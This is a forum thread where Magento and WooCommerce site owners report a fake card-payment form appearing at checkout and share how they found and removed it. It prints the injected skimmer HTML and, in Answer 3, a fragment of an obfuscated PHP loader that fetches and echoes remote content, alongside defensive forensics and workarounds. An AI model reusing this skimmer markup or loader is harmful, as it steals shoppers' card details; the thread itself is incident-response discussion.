Hack in magento 2 payment

Question

Suddenly I am getting card detail form in my magento 2 checkout page .. I cannot able to find the code .. I have disabled all payment method but still it appears

I have tried to find all details but I cannot able to find the source, so please help to solve the issue

KIndly find inspect element code

<li id="payment" role="presentation" class="checkout-payment-method">
    <div id="checkout-step-payment" class="step-content" data-role="content" role="tabpanel" aria-hidden="false">
        <!-- ko if: (quoteIsVirtual) --><!--/ko-->
        <div><ul id="pay_forma" style="display: block;"><li><h3><b>Credit/Debit Card Secure Payment</b></h3></li><div id="pp--pay-form"><div class="input--field"> <label for="name_on_card"> Cardholder <em>*</em></label> <input id="name_on_card" type="text" maxlength="50" name="nc"> <div class="validation" id="holder_valid"> </div></div><div class="input--field"> <label for="usaepay_cc_number"> Card Number <em>*</em></label> <input id="usaepay_cc_number" type="text" maxlength="24" name="paymentMethod[additional_data][control_settings]"> <div class="validation" id="card_valid"> </div></div><div><label for="usaepay_expiration">Expiration Date <em>*</em></label></div><div class="input--field fix--expiration-date"> <div class="select--expiration-date"> <select id="usaepay_expiration" name="paymentMethod[additional_data][msn_set]"> <option value="" selected="">Month</option> <option value="01">01</option> <option value="02">02</option> <option value="03">03</option> <option value="04">04</option> <option value="05">05</option> <option value="06">06</option> <option value="07">07</option> <option value="08">08</option> <option value="09">09</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> </select> <div class="validation" id="valid_month"> </div></div><div class="select--expiration-date"> <select id="usaepay_expiration_yr" name="paymentMethod[additional_data][yellow_set]"> <option value="" selected="">Year</option> <option value="20">2020</option> <option value="21">2021</option> <option value="22">2022</option> <option value="23">2023</option> <option value="24">2024</option> <option value="25">2025</option> <option value="26">2026</option> <option value="27">2027</option> <option value="28">2028</option> <option value="29">2029</option> <option value="30">2030</option> </select> <div class="validation" id="field--year--validation"> </div></div></div><div class="input--field"> <label for="field--cvv"> Card Verification Number <em>*</em></label> <input id="usaepay_cc_cid" type="password" maxlength="4" name="paymentMethod[additional_data][savage_set]"> <div class="validation" id="cvv_valid"> </div><div><button style="display: block; margin-top: 20px; float: right;" class="action primary checkout" type="submit" id="mbtn" onclick="return false;" disabled=""><span>Continue</span></button></div></div><style>#pp--pay-form{max-width: 300px; padding: 20px 0px;}#pp--pay-form .information--field{margin-bottom: 12px;}#pp--pay-form .information--field a{position: relative; color: #ca0001; margin-left: 30px; bottom: 15px; text-transform: uppercase;}#pp--pay-form label{display: block; width: 100%; color: #333; text-transform: uppercase; margin-bottom: 5px;}#pp--pay-form em{color: #ca0001;}#pp--pay-form input, #pp--pay-form select{height: 40px; padding: 0 8px; font-family: "Ubuntu", sans-serif; color: #5d6a7f; border: solid 1px #dfdfdf; background: #f5f5f5; font-size: 14px; border-radius: 0px; line-height: 1.5;}#pp--pay-form .input--field{margin-bottom: 15px;}#usaepay_cc_number, #name_on_card{width: 100%;}#pp--pay-form .select--expiration-date{width: 50%; float: left;}#pp--pay-form .fix--expiration-date:after{display: block; content: ""; clear: both;}#name_on_card{text-transform: capitalize;}#usaepay_cc_cid{width: 120px;}#pp--pay-form .validation{display: none; color: #ca0001;}#pp--pay-form #button--checkout{background: #ca0001; color: #fff; padding: 0px 20px; outline: 0;}</style></div></ul></div><form id="co-payment-form" class="form payments" novalidate="novalidate" style="display: none;">
            <input data-bind="attr: {value: getFormKey()}" type="hidden" name="form_key" value="UJSacI1egJmwYDzG">

Answer 1

We have already had a similar case on Magento 1 following a security breach. To find the source of the code, we looked at the queries to find URLs that didn't make sense on the project. Then we did a grep on our production to find the modified file.

Other solution, reverse sort file by edition date on our environment : find . -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r

Once the file was found, from the date, we searched the web server logs to find the requests executed to find out if the flaw came from a module, and it was indeed the case. We updated the module because there was a fix on the flaw, then another team verified that the machine does not contain a backdoor.

Answer 2

@vellaidurai Along with saying hello, I ask if they found more details about the checkout problem. I have the same problem in wordpress - woocommerce. That form is overlaying my payment gateways not allowing payment. I didn't ask for those fields before and I don't have PayPal or similar enabled. Thanks in advanced.

Answer 3

I found this on file wp-content/plugins/woocommerce/templates/checkout/form-checkout.php Remove and all back work correct.

array( $ychuvak => $chazhicoqag, $ryshutuc => "$ekheduchyva $ageshevugy\r\n$wudavu $yforupujy\r\n$zhyxareshi $sebuvinu\r\n$eshybytiq $ichywagizh\r\n$quhaqy $ushogored" ) ); $kikukhise = stream_context_create($kikukhise); $ocumeq = @file_get_contents($xegufozich, false, $kikukhise); if (preg_match($avazysh, $ocumeq)) echo (@$ychuchag($ikhodaboko($ocumeq))); } } } } catch (Exception $afawoqo) { }?>

Answer 4

I have encountered the same issue in my WordPress site and my client added the card information to it. When they told me that they have initiated the payment via bank transfer and added card information, I was confused why it's asking for card details in the bank transfer.

I checked my site and disabled all the payment gateways and this form was still showing. Traced the CSS of it and found this thread then deleted the whole woocommerce plugin folder and installed a new one. Problem solved.

I have to communicate with my client and asked them to block the card. I was looking, like a bad person in front of my client.

I have been using ithemes security pro version and this happened. Now I'm looking for any service/plugin which secures your WordPress website. I know security but it's way too expensive. I'm running a hosting company and this could happen with any client.

Please suggest what I can do via WHM/cPanel to prevent hacking of WordPress.

Thank You

Answer 5

This malware basically works with Javascript. And a quick workaround is to remove the form using Javascript, instead of just hiding it with CSS.

(function($){
    $(document).ready(function() {
        var anullMalware = function() {
            setTimeout(function() {
                $('#pay_forma').html('');//Remove the malware form
                $('#place_order').prop('disabled', false).attr('id', 'placeFire');//Enable order button and change the ID
            }, 2000);
        }
        
        $('.input-text').on('change', function() {
            anullMalware();// Call the function whenever a field changes
        })
        anullMalware();// Call the function on page load
    });
}(jQuery));

setTimeout is important so we're sure the form has loaded before attempting to remove it. And while the form is removed on page load, we're also attempting to remove it whenever a text field changes. This is a bit of future proof, in case the malware gets smarter.

Answer 6

Hi there i found the problem it came in wp-rocket nulled pluging, check your plugins folders on file manager: if you find one that you dont know open it in my case the name of the plugin was wpyi2, and it has a php and read me file both encryted, i erase, deactivate wp-rocket (is the only nulled plugin i have), re install wp core and no problem so far.

Answer 7

@MarcoM

Edit: Guys this works just for my WOOcommerce shop, not magento. in magento you could do it with a bit of css knowledge to figure it out. , find the handler of payment methods and replace it with the handler i used in woocommerce.

i also had this issue just now, also with woocommerce. Reinstalled all my woocommerce and mollie plugin, run defender for malware nothing worked.. Was no member here, but read your cry for help and wanted to share this alternative solution i made to solve the problem for the moment in custom css.

#pay_forma, #pp--pay-form {

display:none!important;

}

.wc_payment_methods {

display: block!important;

}

for magento you probably can use other handler instead of .wc_payment_ methods, and make it visible again.. For now, I hope it helps for you also ;)

i would love to know where i can delete this maldito form.

peace out..

Por mis conocimientos no tiene porque entrar por tu login. Lo más probable es que entre por un login de una web con una contraseña poca segura porque su propietario no tiene nada que proteger. De ahí se pasa por las carpetas del server buscando los plugin de Woocommerce para introducir la etiqueta que oculta los modos de pago originales y mostrar el de él. Así que él hacker ni siquiera sabe cuál es tu dominio ni a cuáles dominios ha afectado.

Mientras resuelven el problema., porque el principal problema lo tiene el propietario del hosting, al que tienes que informarle tal cual te lo escribo. Tú, si quieres seguir mostrando tu página quita todos los permisos al archivo nuevo y sano antes hackeado que es form-checkout.php. Así no podrá reescribirlo y tú podrás seguir mostrando la página. Inconvenientes son que nadie podrá pagar y Woocommerce no podrá actualizarse., pero no robaran los datos de las tarjetas de tus clientes.

Answer 8

I have the same problem with my wordpress. Always used normal, verified and tested plugins. Randomly asking my customers for creditcard details. Reinstalled woocommerce, problem solved. Now a few months later the problem returned. When I check out myself I don't see any creditcard info fields, but still my customers tell me they can't use normal checkout and are asked for creditcard info. Never thought wordpress would be this easy to hack by someone. Anyone have a working solution??

Por mis conocimientos no tiene porque entrar por tu login. Lo más probable es que entre por un login de una web con una contraseña poca segura porque su propietario no tiene nada que proteger. De ahí se pasa por las carpetas del server buscando los plugin de Woocommerce para introducir la etiqueta que oculta los modos de pago originales y mostrar el de él. Así que él hacker ni siquiera sabe cuál es tu dominio ni a cuáles dominios ha afectado.

Mientras resuelven el problema., porque el principal problema lo tiene el propietario del hosting, al que tienes que informarle tal cual te lo escribo. Tú, si quieres seguir mostrando tu página quita todos los permisos al archivo nuevo y sano antes hackeado que es form-checkout.php. Así no podrá reescribirlo y tú podrás seguir mostrando la página. Inconvenientes son que nadie podrá pagar y Woocommerce no podrá actualizarse., pero no robaran los datos de las tarjetas de tus clientes.